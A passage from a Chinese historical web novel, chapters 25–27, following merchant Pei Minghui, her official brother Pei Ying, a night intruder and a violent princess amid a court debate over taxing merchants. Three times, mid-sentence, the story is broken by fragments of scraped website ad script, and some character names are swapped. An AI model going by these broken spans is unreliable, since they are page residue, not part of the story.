当时的人都道是裴瑛徇私,却都不知道背后是丹阳长公主的意思,裴瑛一出手,受了丞相指点的廷尉当场就栽了进去,而背后的丞相也或多或少的受了牵连,至少一年之内他没能再受大梁丝绢坊的财货。 眼见数年过去,曾经盛极一时的明月坊也开始衰败下来,而昔日的同行不来殷切的问候一番,自然是不可能的。 郭升在二人面前立定,向着二位拱手,“裴掌柜,聂姑娘,不承想今日竟能再次遇见。” 裴聂二人颔首,裴明绘道,“郭掌柜。” “听闻明月坊失火,实在是令在下遗憾,不过想来以裴掌柜的能力,东山再起,自然不是问题。” 裴明绘抬眼看了一眼郭升,看他脸上忍耐不住的笑意,心里冷笑一声,面上却也和善,朝郭升一拱手,“那就承郭掌柜吉言了。我等还有要事,就先走了。” 郭升眼见二人要走,赶忙上前一步,拦住二人的去路,笑嘻嘻地说道,“裴掌柜何必着急走呢,听闻西域之行的丝绢都由裴掌柜一力承办,宫里大农令的批文也下来了,只是这明月坊的库房都烧了,怕是……” 他的话就停在了这儿,眼睛也看向了裴明绘。 25. 第 25 章 “此事,我自有分寸,就不劳郭掌柜忧心了。”裴明绘心里冷笑更甚,这胖狐狸惦记西域之行的市利不知多久了,各处逢迎各处送礼,耗费不知几多,只可惜,他并未看清楚如今的时势,送去的金银财货,也全作了水漂。 今一见明月坊失火,便叫这老狐狸闻着味了。 “我自然知道这些事都是裴掌柜自家的事。”郭升笑道,“只是,这此去西域事关重大,我虽不才,但也是大汉子民,西域之行彰显我大汉国威,其间物件自是天下顶级,如此,明月坊自是当之无愧,在下小作坊,自然不敢与之相争。只是如今这明月坊突然遭难,诸多事物怕是周转不过来,在下久经商业之事,此间难处自然也是知道的,故此,在下方才想着为裴掌柜分忧。” 他说得正经极了,若非裴明绘浸淫商道多年,如今便要被他诓骗去了。 但她突然灵光一现,计上心头,一改方才的冷漠态度,转而笑了起来:“郭掌柜的意思,我明白,只是这决定太过重大,一时片刻,也不好突兀决定,更兼最近东市风向不好,明月坊多繁杂事亟待处理……” 郭升立马嗅到了利市的气味,忙道,“这事裴掌柜不用担心,东市多争利之事,这与西域之行,都不过些小事。他们虽然爱财,其中分寸,叫人一说,也都该明白了。” “有你这番话,我也就放心了。”裴明绘的嘴角也勾起一丝笑来,“今我遭难,别人无不落井下石,独郭掌柜能施以援手,这份情,我可记着呢。” “哪的话,裴掌柜太客气了。”郭升高兴的搓了搓手,“这人多,我请裴掌柜去醉月楼吃茶,最近我新得了件宝贝,听说是当年孟尝君赠秦王的那件白狐裘,这件狐裘正称裴掌柜颜色。最近北风更猖狂了,裴展柜也该添件保暖的衣裳了。” 冷风愈发紧了,吹得各色幌子在空中招展不息,吹得她鬓发的几缕发丝像柳丝一样飞扬着,拂过她洁白的面颊,映在她漆黑的眸子。 “掌柜费心了,什么衣裳都能保暖,何必糟蹋那件宝物呢。”裴明绘先一步转身,转而偏过头来,露出一丝温润的笑意来,“不过,诸事繁杂,不如你我改日再叙罢。” 待到裴明绘同聂妩走了,郭升的一张笑脸方才塌了下来,他恶狠狠地看着二人离去的方向,又狠狠地往地上啐了一口,低声骂道,“不过仗着你哥和长公主,你又有什么好得意,等裴瑛倒台了,我看你傲不傲的起来。” 裴明绘突然觉得起了浑身的鸡皮疙瘩,觉得有什么人再盯着她,可是偏偏一回头,却又什么人都没发现。 “怎么了?”聂妩奇怪地问道,她也跟着裴明绘回头,却什么都没有发现。 “许是我多心了罢。”裴明绘又回过了头,道。 可就在她刚刚回过的瞬间,全身又一激灵,又猛地回过头去,却只见到来来往往的人群,其中并未瞧见有什么异常的人。 “罢了罢了,我们回去罢。” 聂妩见裴明绘的额头上都沁出了冷汗,急忙拿出帕子来给她擦汗。 “许是车马劳顿,累到了,先回去歇歇,改日我们再来。” 子时一刻,寒鸦将息。冷月悬天,银辉漫天。 床帏落下,将银色的月光筛得更加柔和,而后落在她的面上,蝶翼一般的睫羽不住地颤抖着。 黑色的缀着玄铁甲叶的长靴踩过地上厚厚的地毡,简直就像是鬼魂一样,几乎一点声响都没有,又或是外头的呼呼刮着的冷风太过猖獗,将所有的声响都盖了过去。 冷月落在那骨节分明的优雅双手上,像极了冷玉雕成的稀世杰作,双手轻轻拂开帘子,冷色月光便如流水一般淌了进去。 她似乎睡得极不安生,翻来覆去的,总是安定不下来,或是察觉了萦绕在身侧的凛冽危险,她一下子就睁开了眼睛,可是映入眼帘的又是裴瑛的那张脸,昏暗变幻的银色月光勾勒出男子俊秀的侧颜,眉眼如同天工凿刻般秀丽无双,黑漆漆的眸子映着她惊慌的神色。 “哥哥怎的来了?” 她坐起身来,抬手用手背擦了擦额头沁出的冷汗,颇有些嗔怪地歪头看向裴瑛,这才发觉他今日的穿着颇有些奇怪,竟然穿着如此紧身的黑衣服,袖口衣领处竟然还缀着铁片,上头结了些洁白的霜话,隐隐的透着些寒气。 “这般时候来,吓我一跳。” “我来的不巧了是吗?” 裴瑛笑了起来,薄唇弯起,露出白花花的齿列,隐在明暗之间的面容瞬间脱去了温和的假面,变得诡异而又玩味。 他一说话,裴明绘瞬间鲜血倒流,她正要失声尖叫,那冰冷的手却直直捂住了她的嘴,而后把她摁在了榻上,顿时裴明绘的发髻就散乱开来,她惊慌失措想要拔下头上的簪子,然后双手就被“裴瑛”缚住,然后重重压在了心口前,叫她挣脱不开。 “裴瑛”见她如此模样,不由恶劣地笑了起来,眸中是压制不住的兴趣。他压着声音,几乎是贴着她的耳侧,自问自答道,““看来,是的。” “呜呜……” 裴明绘惊恐地看向“裴瑛”,拚命挣扎着,奈何男女力气差距过大,她的挣扎无异于蚍蜉撼树,很快就被压制了下来。 他的面孔如此之近,近到呼吸可闻,冰冷而又危险。 月光悄无声息落进他的眸子,闪出来的却是狡黠而又诡谲的光,他目不转睛地看着身下的吓得魂不附体的裴明绘,轻声笑了起来,“怎么,乖妹妹也会被好哥哥吓成这样吗?以往你不是很喜欢我吗,怎的今日就跟见了鬼一样?” 他话说得极为轻佻,微热略带着潮气的吐息落在她的肌肤上,激起一片又一片的战栗。 “还是,这个乖妹妹又着什么非分之想呢?” 他哂笑着,袖口处的甲片擦着她的肌肤,冰冷的触感让她瞬间从惊惧中缓了过来,她的眸光瞬间冷静下来。 他见她瞬间冷静下来,不由有些好奇,正欲挑眉,看她所为何事,却不防她蓄力一脚,正正踢在他要命之处。 男子皎洁无暇的面容肉眼可见的痛苦起来,如剑长眉蹙起,手下登时放松了对裴明绘的压制,就在此时,裴明 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 绘将身一滚,便从榻上滚了下去,正欲大喊,颈上便是一痛,眼前登时一黑,摔在了地上。 冷风吹过枯枝簌簌,将冰冷的月辉筛得稀碎,一身凄厉的鸦鸣伴随着扑棱振翅之声,黑寒鸦在夜空冷月之下徘徊,黑色的眼睛死死注视这在阴影处的二人。 “你此行为何?” 这是一道成熟的男声,里面充斥了不解与不满。 后面的人顿了顿,压低声音答道,“自然是来寻仇的。” “所以?”前面那人不可置信地说道,尾音是压制不住地上扬,“你人杀了吗?” “暂时留她一条性命,让她与裴瑛一起下黄泉。”那声音十分肯定得冷冷回道。 “温珩,莫整这些废话,我看你就是脑中有疾。”前面那人几乎笑出了声,而后咬牙切齿地说大“杀了她,定会叫裴瑛肝肠寸断无暇他顾,倒时在联合朝臣动手弹劾,定然叫他死无葬身之地。你如此延宕战机,总是寻些特立独行的法子,休谈大事!” 说罢,此人抬脚便走,温珩便要去追,可步子刚迈出一步,他的脚步又滞涩住了,修长的手指缓缓攥住,他回头看去,居高临下穿过裴府层层回廊府苑,一直停在了拿出修竹掩映的院子中,黑色的凤眸映着月光,遮掩住了他真正的想法。 “下次见面,我一定会杀了你。” 温珩冷笑一声,冷风带起他几缕额发,擦过他的脸,浸在月光与夜色下的眼睛变得幽深,亟不可待的杀意涌了出来。 只要能让裴瑛伤心欲绝地滚出庙堂,他什么都可以做,更何况一个傻子似的妹妹呢? 心思既定,温珩脚尖一点,跃入了黑漆漆的巷子中,消失不见。 清晨刺目的阳光透过素色床帏,落在裴明绘的眼帘上,她缓缓地张开眼睛,却不由浑身一阵酸痛,好似鬼压床了一般,她摇了摇头,素手拂开帘子,刺目的阳光让她有些睁不开眼,洁白的双脚先后从榻上挪了下来,趿上绣履,自往镜台旁走去。 心念电闪之间,昨夜的那副惊险的场景瞬间又涌入脑海,她立即清醒过来,她大声喊来外间侍候的春喜与夏荷,忙闻昨夜可听见打架声。 二奴婢相互看了一眼,一同摇了摇头,都说昨夜除了风大些,并未有异动。 如此这般,倒真叫裴明绘糊涂了,难不成,是自己做的噩梦,她一扭头,却又见昏黄铜镜中的自己发髻依旧整洁,那个束发的簪子依旧好端端地插在发髻之上。 自己如何竟作了关于温珩的噩梦,若非自己心中对温珩尚有些心思? 可是若是有心思,却缘何又是噩梦,这个温珩在自己面前,总是一副人畜无害的小白兔模样,自己又如何会构想出他如此恶劣的一面。 裴明绘百思不得其解,但无论如何,如今温珩死活无定,自己虽先前与他无冤无仇,可是这厮却烧了她的明月坊库房,自己如何能甘心。 这叫什么,如何叫女人为我花上数千金? 裴明绘一想起温珩,不由又头疼起来,原自己一世英名,也算栽倒男人头上了。 26. 第 26 章 长安如此繁华富庶之地,大农令周文却没有心思观赏游玩,北方匈奴战场的催粮催饷的文书一到长安,皇帝就将其批给了大农令周文,要其尽快处理。 周文急忙就去找了少府寺,大农令署与少府寺一笔一笔算,结果算出来的缺口更是无可估量,眼前天文的数字几乎叫周文两眼一黑。 其间奖赏有功将士,抚恤战死将士已经超过了三十万金,这是万万不能减省的。 其中还有对匈奴投降部族的拨款,以匈奴浑邪王率四万余人为例,大将军大司马谢元狩亲自迎接,因其并无自给之能,故其生活皆仰县官,此种开支颇乃巨费。 同时民间也对此等事颇为不满,但是周文知道,此乃长远之计,为着是不费一兵一卒便使匈奴归降,但是如此厚待以往杀伐掠夺汉朝边境城池的匈奴人,汉朝百姓自然不可能满意。 与此同时,因为汉朝灾难屡发,灾民流离失所无所归依,皇帝更是在救助百姓方面好不吝啬,往往费以亿计,不可胜数。 更有各方大型工程纷纷上马,所耗民力物力更是不可数计。 周文看了看岁末朝廷的总赋税,满打满算不过六十七亿,可需要用钱的地方林林总总加起来已然超了百亿,如此巨大的空缺,叫周文看了直冒冷汗。 同时盐铁官营的项目一直受到阻碍,民间对此颇有怨言,那些个文人常常写些对此不满的诗句来,意图煽动民意,说是朝廷与民争利如何怎样,总之都是那套标准的儒生言论,其后到底目的如何,真的是否是为民争利,还是为着供养他们的豪强大族巩固既得利益,想必已经不言而喻了。 总之一句话,国家财政危机迫在眉睫。 他思忖再三,最后还是联合少府寺将国家目前的财政状况汇报给皇帝,主张先将修筑西南夷道的工程暂时搁置,所有国家财力主要供给北方匈奴战事。 皇帝看后,陷入了沉默,而后一体在搁置修筑西南夷道的上书上批上制曰可,而后又急召丞相谢珩舟,御史大夫裴瑛,廷尉沈蓦以及一班经济大臣前来宣室殿进行了一场如何国家财政的小型朝会。 皇帝负手踱步,随着诸位大臣齐聚,便也坐了下来,屈起指节叩了叩长长的黑玉帝案,道,“如今战事紧急,各方所费资财以累百亿之巨,如此亏空如何补缺。” 帝座右下首位,陆珩舟坐在长案之后,不动声色地观察一众同僚们,显然他并不想先开口。 “丞相有何见解。”皇帝见一众臣工都不说话,登时蹙眉,便把话头放在了陆珩舟身上。 “当此之时,当群策群力,群臣献策,百姓献力。昔年高祖为平息战乱遗祸,安抚百姓,所赋田税为十五税一,今田广民富,或许可稍有提高,以佐国家之急。” 他的话音刚落,廷尉沈蓦立即就站了出来,“丞相此法大为不妥,前朝秦朝的十税一已然招致天怒民怨,如今无故提高赋税,不是要让国家动乱吗!” 陆珩舟为皇帝舅父,如今被沈蓦当殿扣上了让国家动乱的帽子,脸上登时挂不住,忍住拍案而起的怒气,脸上霎时变得冰冷,冷笑一声,“廷尉所言,未免言过其实,以前国家战乱刚息,自然要削减赋税与民生息,如今国家财政有缺,北方战事吃紧,自然要不论群臣百官,还是豪民庶民,自然要群策群力,共克时艰才是,廷尉如此疾言厉色,怕不是对本相有什么意见。” “大人堂堂丞相,下官何敢。”沈蓦军功起家,自然如同战场厮杀一般快人快语,就算眼前是皇帝舅父,汉朝最有名的外戚,他也不会有顾及他的脸色,“如此误国乱邦之策,丞相还是慎之慎之罢。” 陆珩舟的脸色顿时就黑了下来,断然打断他的话,“既然廷尉如此忠心报国,那且说说,如此危局如何解决,光凭你的一腔热血可变不出钱来!” 闻言,沈蓦立即起身,走到大殿中央,朝着皇帝一躬身,高声道,“今国家财政危机,北方战场吃紧,臣请皇帝陛下,以下算缗之令,凡天下富庶之人,共佐国家之急!臣愿以己家之财,为算缗先行,而后在场之众大臣,以为后效!” 沈蓦一连串的话,让陆珩舟登时就坐不住了,他忙不迭朝着皇帝一躬身,厉声道,“算缗之法虽有立即之效,然其后国家动荡不安,弊处远远大于利处啊,彼时若外患未平,则内忧顿起,如此前后夹击,又当如何还请陛下三思!” 皇帝或许也是觉得沈蓦太过激进,若是真的去算官僚贵族之私财,所造成的动荡将不可估量,皇帝深谙此间道理,于是他的目光看向一直没有说话的裴瑛。 “此法,虽有即刻之效,然后患也是无穷。” 裴瑛立即心领神会,便也出列,平稳的声线立即压住了宣室殿里的暗潮涌动,“算缗之策,确实应当,然应对商贾,而不当对以士大夫及各军功将领,其为国效力,更当以资财激励之,骤然算其缗的,必然引起动荡。今天下商人,多以国家无暇顾及其而乘机兴风作浪,借以高利贷而盘剥庶民,又囤货居奇哄抬物价,故臣起皇帝陛下,请行商贾算民之策,先以初算商车,后以初算缗钱,若有隐匿家财之人,当再行告缗之策。” 声音落定,随着尚书郎起草算缗诏书,这次围绕国家财政问题的小型朝会就此落幕,而轰轰烈烈的维持三年的算缗运动则徐徐铺展开来。 宽阔的司马道上,裴瑛与沈蓦走在一处。 青天朗朗,不复阴沉,正好对上了沈蓦那意气风发的脸,也不复大殿之上的步步紧逼之色了。 沈蓦爽朗地笑道,“可算是把陆珩舟这硬骨头啃下来。” 裴瑛也微微勾起唇来,澄澈的晨间阳光洒在他的身上,风轻轻地吹过来,他整个人都如此舒畅,皂色官靴踩在白石砖道上,深绯色官袍也随着风微微摇动着。 “他不愿算商人之缗,那只好算天下人之缗,如此折中,他自然就乐意。” “玄则划策之精实乃天下罕见。”沈蓦一想起方才朝会 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 上陆珩舟黑着的那张脸以及坐立不安的样子就忍不住哈哈大笑起来,“正有道是人人都爱折冲,陆珩舟这个老匹夫也是一样。今日看他那吃瘪的样子哈哈哈。” “沈兄过誉了。”裴瑛在朝永远都是谦虚的,更何况眼前这位九卿之一的沈蓦也算是他曾经的领导。 沈蓦原是中郎将,裴瑛在未发迹时便在沈蓦麾下做过郎官,而沈蓦对这个属官也非常满意,屡次提拔裴瑛,而后来裴瑛的一路升迁也证明了沈蓦确实没有看错人,裴瑛自廷尉直升御史大夫,廷尉的职位也就空缺了下来,于是裴瑛便向皇帝举荐了沈蓦。 而沈蓦也却是证实了他却是一位执法如山公平公正的廷尉,敢于直言上谏,屡次将以丞相为首的外戚集团与外朝儒臣得罪狠了,但是皇帝十分赏识沈蓦,对于那些攻讦沈蓦的话,一般都一只耳朵进一只耳朵出。 “对了,听说玄则你妹妹的库房被人烧了,你可知是何人所为?” 裴瑛叹息道,“我久在朝中,此次明月坊被烧,也怪我疏于对舍妹的关照,实在是我做哥哥的失职,想必不过是商贾同行间的竞争罢了。” “若仅仅如此,便是好的了。”沈蓦的目光望向司马道的尽头,“若是有人故意为之,玄则就得小心应对了。” “多谢沈兄提点。”裴瑛虽然位高权重,但为人一贯谦逊,至少在为人处世上让人捏不住把柄。 “对了,盐铁官营一事,也该当提上日程了。如今国家财政紧缺,多一项进项也好。”沈蓦道。 “此事非同小可,朝廷多次发下去的律令执行都无法彻底,若要盐铁官营,首先就要将个处的阻碍处理掉。” 他的语气很是轻松,但是这话背后,是行将掀起的血雨腥风。 沈蓦沉默了片刻,他也明白,政令不通,主要在在于庙堂的政令无法在各郡国得到实施,究竟是谁在阻挠,或许连沈蓦都不甚清楚,但是他隐隐有所察觉,在这看似平静的水面之上,是逐渐壮大的暗流,终有一日它会浮上水面。 “无论如何,盐铁官营一定要做下去。”沈蓦的声音坚定起来,“今皇帝陛下圣德昭彰,雷霆手段,又有改天换地之心,此等圣明君主,若我等不倾力襄助陛下,不日黄钟毁弃,瓦釜雷鸣,此等之时,纵是万死不辞,又能如何呢?” 裴瑛顿足,侧身向着沈蓦一拱手,低声道,“玄则明白。” “好。”沈蓦同样想着裴瑛一拱手,“你我二人齐心合力,算缗之事后,便当合力推进盐铁官营!” 二人分别以后,沈蓦奉皇帝令往校军场而去,而裴瑛则去了大农令署,再次召集以大农令为首的经济大臣商榷具体的算缗告缗策略,一直到了夕阳衔山之际,裴瑛才从大农令署出来,结果甫一出来,就见自己的侍卫焦急地候在外头。 裴瑛顿感不妙:“发生了什么?” 侍卫抱拳拱手道,“大人,南云长公主与小姐发生口角,小姐受了长公主一鞭!” 27. 第 27 章 东市依旧人声鼎沸,来自各方的商人都汇聚在此,又听驼铃阵阵,原来是来自西域的商人牵着骆驼来到了长安,用略有些生疏的长安话兜售着来自西域的奇珍。 达官权贵的高车驶过六丈余宽的青石大街,华丽的辎车与珍贵的骏马惹得行人纷纷注目。 正所谓天街通衢飞盖接,宝马香车銮铃响。 一处专司售卖西域香料的铺子处也是人来人往,而裴明绘也与聂妩进了铺子,正听着一位伶牙俐齿的小姑娘讲述着这香料的妙用。 突然间,一些不和谐的声音传了来,裴明绘的眼睛也倏然抬起,偏头看向聚在一处那许多大商模样的人,他们或嬉笑怒骂,或愁眉苦脸,唯一的共同点,就是口中骂着怨着恨着憎着裴瑛。 其中一人说道激动处,不由拍案而起,“我们的钱既不是偷来的也不是抢来的,凭什么他裴瑛要收七成就收七成,这生意还做不做了!” “兄台所言正是我们心中想的啊。”又有一人愁眉苦脸一脸哀怨地附和道,“如今都传要收七成税,如此,跟抄家又有什么两样。” “若收七成,那真连做生意的本钱都没了。” “以裴瑛的性子来看,不收尽天下人的钱,他是不肯善罢甘休的。这等奸大夫,又不知要从中渔利几何!我看,他们打着为国为民,实际上都是想要肥自己的腰包!” “若果真如此,我们干脆不做生意了,让裴瑛自己省事去罢!” 裴明听着,知其大体所论者,皆因算缗之事由裴瑛领衔而招了众商贾之怨怒也。 听着他们咒骂裴瑛,裴明绘心里虽然生气,面上却终究没有表露出来。 “小姐难道不生气?”聂妩问道。 “我生什么气,他们不敢骂皇帝,就只能骂我哥哥了。” 裴明绘淡然道。 “毕竟损了他们的利益,若还不让骂,那怎么行了,只要他们不生事,随他们去罢。” 裴明绘同裴瑛一样,在这些细枝末节的小事十分阔达,左右他们的非议并不能上达天听,何不让他们骂去呢。 左右哥哥又听不见,就算听见了,以哥哥的脾气,也定然不会生气。 既然如此,她自然也就没有必然去管。 只是,这流言传得也太离谱可些,所谓算缗,便是缗两千钱一算,如何算也算不出七成。 裴明绘立即想到,这是有人故意散播流言。 她的眸子沉了沉,眼神示意聂妩与她一道离开。 可就在二人刚刚准备离开之际,一道破空之声突然传来,就听一声撕心裂肺的痛呼,方才那议论裴瑛的最盛的人的脸上平白就多了一条血淋淋的血痕。 “啊——” 血痕瞬间割裂他的面容,无数的血珠飞溅出来,溅到周围的身上,顿时惊起一片尖叫之声。那人捂着血肉模糊的脸倒地,痛苦地翻滚着。 原本围在一处的人顿时化作鸟兽散了。 “本公主且看看,谁还敢说什么!” 凌厉的女声倏忽传来,看客们自觉让出一条道来,一披着斗篷的华贵女子大步而来,就见她着深色缠枝花纹双绕长曲裾,衣裙及地,黑色的流云暗纹腰封用红色系带系起,勾勒出纤细的腰身,黑色的长发用红色的丝线编起坠在两颊旁,更显得女子脸容娇小,金簪金冠富贵逼人,熠熠耀目的金光闪在她的眸子里,像是粼粼金波。 走起路来,腰间悬挂的组玉佩撞在一起,泠泠悦耳。 而后是态度嚣张的扈从,耀武扬威地在人群中分出一条道来。 显然,眼前这位凌厉风行的女子便是最近名声斐然远扬的南云长公主,以其独到的骄奢跋扈而驰名。 “长公主饶命。” 方才那几个饶舌的几人赶忙求饶。 “饶了你们?”南云长公主冷哼一声,“你们算什么东西,也敢妄议国政非议朝廷大臣,找死!” 转眼间扈从便大步而来,将地上跪着的几人押了起来,听候长公主发落。 几人见性命顿时难保,又知这个长公主是个真正的心狠手黑的主,恐怕此事是万万没有转圜的余地了。 几人也算是见过风浪的大商人,生死之际竟也拼出几分反抗豪强贵胄的血性来。 “我呸,什么非议国政,裴瑛不过罪臣之子,靠攀附权贵才又起家,如今为着敛财,无端便要抄了我们家,长公主也就你瞎了眼,看上这个奸大夫!” 南云长公主美丽的面容染上十分的愠怒,一口银牙几乎都要咬碎。 周围观战的人群窃窃私语,不免对这几个勇士多了几分由衷的敬佩,对裴瑛这个奸大夫与嚣张跋扈的长公主遂更加厌恶。 而在人头攒动的人群中的阴影之处,一人缓缓勾起了唇角,笑意恶劣而又邪性,满怀着纯粹的恶意。 裴明绘这下终于明白,裴瑛要娶公主的流言如何来的了,若由南云长公主如此行事,裴瑛的名声真就要不到了。 若真的只是名声也就罢了,可是如此情景,本不该出现在此处全副武装气势汹汹的南云长公主,以及这群大商突兀相聚在此非议裴瑛,再以及走势极为诡异的舆论情况,都让裴明绘心惊胆战。 而就此时,人群中突然爆发出一声声呐喊,就像有人刻意引导一般,“裴瑛罪大恶极,竟要倚仗权势害了无辜之人的性命吗!” 人群中传来一波接着一波为他们摇旗呐喊的声音,那几人见声势陡然转向,便也看见了生的希望,不由更加激动起来,人群也隐隐有了失控的架势,来往者大多为商人,本就对算缗深恶痛绝,今见南云长公主竟为裴瑛肆意打杀商人,不由也齐了心。 南云长公主的扈从登时围在长公主身边,长刀出鞘的金铁振声瞬间震住了人群的骚动。 南云长公主听完了他们的发自肺腑的话,非但没有丝毫的害怕,同时无边愠怒彻底化作冰冷的杀意,就见她冷冷一笑,丹凤眸里闪过一丝冷光,红唇上下一碰,便是利落果决不留余地的命令:“既然如此,不必交由廷尉府审问了,就地处决罢。” 一袭话毕,如同北方寒风摧枯拉朽般横扫而过,所有的话语都终结了。 他隐匿在人群里,笑了笑,转身便要离开。却又在转身之后,听到了突兀传来的声音,脚步瞬间顿住,他不敢置信地转过头去。 裴明绘眼见局势走向不可控地状态,遂站了出来,先向南云长公主欠身行礼,而后柔声道,“还请长公主手下留情,此等贱民之言,万不足辱公主尊耳。” “你是谁?”南云长公主觑了她一眼,显然她对着突兀闯入的人并没有多少好意。 裴明绘道,“我乃是明月坊的主事,地位卑微,但见长公主身上这件衣裳,是明月坊的料子,就想着长公主惠姿压群芳,在下坊中更有几件新的料子,想起长公主过目。” 她的这番话说得委婉又顺和,按伸手不打笑脸人的道理来说,南云长公主怎么也不该将怒火牵连到裴明绘身上,可是她自由长在金银堆里,一见裴明绘又拿几件料子来打搅她,登时将怒火牵连到她的身上。 “你算什么东西,不过几匹破料子罢了,你竟敢拿此来打搅我,反了你!” “长公主息怒。” 聂妩眼见情势不对,立即挡在裴明绘身边,向南云长公主赔罪道,“我们筚门闺窦之人,一时失言,还望长公主恕罪!” “好啊,穷门小户也敢来此插话了。” 南云长公主勾起冷笑来,她骄横惯了,手上持着的马鞭甚至也是镶这红玛瑙的金手柄的马鞭,不由分说就汇鞭打了过来,长长的鞭子破空而至,眼见就要打在聂妩的脸上,将她美丽的脸庞生生割裂成恐怖的两半。 可是就在恐怖的鞭子要落在聂妩的脸上的时候,一双手却生生攥住了马鞭,随后汩汩的鲜血缓缓流了下来,鞭子上生着恐怖的倒刺,一扎入皮肉便登时便皮开肉绽。 “长公主如此作为,未免有失公主风范了罢。” 裴明绘一向和颜悦色,也秉持着四面玲珑不得罪人的行事风格,可是南云长公主下手如此狠毒,她无论如何都不能坐视不理。 “你……” 南云长公主登时大怒,想要将马鞭拽回来,却发现无论如何用力马鞭都纹丝不动。 “放肆!” 裴明绘一用力,南云长公主一个不妨,反而被她拽的一个踉跄,重重地摔在地上。 周围扈从登时蜂拥而上,整座披香阁瞬间有了剑拔弩张之势,方才义愤填膺的看客们纷纷涌出了出去,生怕被战火波及,只一齐从门外探头看着里头这场好戏。 “给本公主杀了她!” 南云长公主一把撇开马鞭,怒不可遏地吼道。 扈从得了主人吩咐,登时蜂拥而上。 “我看你们谁敢!” 聂妩站了出来,环视四周,厉声道,“我家姑娘是皇帝陛下亲自所题之天下第一义商,伤了我们姑娘,皇帝陛下绝不放过你们!” 眼见对方搬出了皇帝,扈从顿时踟蹰了,他们一致地看向南云长公主。 南云长公主先是惊讶,而后又是一声冷笑,她及其倨傲地看向裴明绘,眼球上下打量了一番,发出一声不屑的哼声。 “原来你就是裴郎的妹妹,不过是借了裴郎的光,一介小吏之女,何德何能有如此称呼。” 她口中的裴郎自然就是裴瑛,她自然也清楚,裴瑛的妹妹是何处的人物。 她自然清楚,裴瑛如何疼爱这个妹妹,可是若是亲生的也就罢了,可偏偏这个妹妹只是一个名不见经传的书吏的女儿。 她曾劝过裴瑛,裴家乃是名门望族,何故叫一小吏之女混了裴家血脉。 一贯好颜色的裴瑛一下子冷下了脸,“承蒙长公主垂询,只裴家满门抄斩血脉几无,臣也不过苟延残喘罢了,若不能为裴家昭雪,哪里又算得了裴家血脉。长公主皇族之后,臣不过布 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 衣之人,何能面谈?” 说罢,裴瑛也不管长公主面上过不过的去,直接挥袖就走了。 长公主顿时就哑了口,她虽说真心为着裴瑛好,想要同他一起复兴裴家,但也知晓当初下令抄家的是自己的父皇,自知理亏,也就不再谈论此事。 可是她虽然不再谈论,并不意味着对就真的将这个妹妹真的看做裴家人。 一个是名门巨室,一个是草芥庶民,又怎么能相提并论呢? “罢了罢了,看见裴郎的面上,就饶你一次。” 南云长公主看向裴明绘的目光多了几分审视,但占据主流的依旧是那鄙夷不屑与厌恶。 她的眼神,与昔日陆珩舟的眼神,一模一样。 就算裴明绘心中再有不服,可是她如今到底也是处在下位,没有十足的把握能够扳倒南云长公主,若是不敬,只会给裴瑛招来麻烦。 “公主宽宏大量。”裴瑛面上带着适宜的微笑,恭敬地双手捧着马鞭奉了上去,“是我唐突了。” 南云长公主秀眉一挑:“这鞭子,就赏你了。” 说罢,一众人等扬长而去。 聂妩赶紧扑过来,掰开裴明绘的手,看着原本秀美白皙的手掌变得血淋淋的,登时心疼不已,赶紧拿了帕子捂住,责怪道,“小姐何必强出头。” “如今长公主不是走了吗?”裴明绘微笑道,虽然手心血肉翻飞一片惨状,火辣辣疼得她直想蹲在地上哀嚎,但到底这里不是哀嚎的地方,她只咬着牙,不让自己痛呼出声。 “走了走了,先找个医馆去上一些止疼的药罢。” 随着长公主的离去,看热闹的人也逐渐散去了。 “这叫什么,大水冲了龙王庙,自家人不认自家人了!” “可不就是吗?如今长公主打了裴瑛妹妹,到时候裴瑛还不知道怎样跟她恼呢?” 人流如潮水般退去,那人却还立在原处,眼见裴明绘的眼风行将扫过,方才转身离去,汇入无边的人群里,消失不见。 聂妩这才拉着快要忍不住的裴明绘火急火燎地去了附近的医馆,赶忙上了止疼的药膏,裴明绘这才从痛苦中解脱出来。 “你看你,非得出头,白了这一鞭子。”聂妩心疼地替她擦了额头上的汗,“你替他们出头,最后他们到成看好戏的了。” “我也不全是为着他们,若真由着长公主的性子,我哥哥的名声就真的烂透了。” “那也是他们自己找事,好端端骂公子做什么。” “左右不过骂上一两句,左右我哥哥都听不见,难得我就真的能够看着长公主要了他们的命,他们左右看戏就看戏,我该做什么还是要做的。” 医者仔细地伤膏敷好,而后有白绢将伤口包扎好,只可惜了,原本秀丽优雅的一只手,如今却成了如此模样。 “回去定要告诉公子。”聂妩一想到方才裴明绘竟然为了她竟然直接去拦马鞭,心疼地落下泪来,她抱住裴明绘,哽咽道,“姑娘千金之躯,何必为我挡这一灾呢。” “好端端的哭什么。”伤口处的药膏舒缓了疼痛,裴明绘道,“姑娘家多好看的一张脸,我怎么可能叫她毁了,长公主下手也真是歹毒,打人直往脸上打。” 酉时一刻,夕阳衔山。 披着一身寒霜,裴瑛走了过来。 屋子里一灯如豆,裴明绘正在灯下看账簿,无论怎么算,明月坊的缺口都无法堵住,这叫她实在是心烦。 听闻开门声,就见裴瑛走了进来。 “哥哥。” 裴明绘正欲起身,却又被裴瑛按住了肩膀。 “伤口如何。” 他伸出手来,裴明绘便乖乖将受伤的左手放在他的手上。 裴瑛垂下眼眸来,从一旁拿过伤药来,开始给配明绘换药。 缠绕在手上的丝绢被一圈一圈松开,裴瑛的动作很轻,也很小心,他曾见不知多少杀戮血腥,可是就当这些这巨大的伤口出现她的手上的时候,就像是精美的布帛被卒然撕裂成两半,裴瑛却还是心头一颤,似乎是冷风顺着窗子的缝隙关了进来,一呼一吸间便是冷气逼人。 裴明绘小心翼翼地看着裴瑛,道,“哥哥,你还好吗?” 裴瑛如梦初醒般抬起了眼,艰难地挤出一丝笑来,“无事,子吟,你可还疼?” “不疼。”裴明绘摇了摇头,笑着看着裴瑛,却见他是一副不信的模样,故更开心了,“真的不疼,骗人是小狗。” “骗人。” 裴瑛无奈地笑道。 “真的,哥哥在,我就不疼了。” 裴明绘歪了歪头,满足地看着裴瑛,灯下光辉,美人如画。 “下次不要冲动了,你自己不要事事出头。”裴瑛一抬眼就看见裴明绘抱膝看着他,一脸满足地模样,他心头所有的不安都被她这一笑压了下去。 “可算缗如此得罪人,哥哥为什么要牵头呢?” 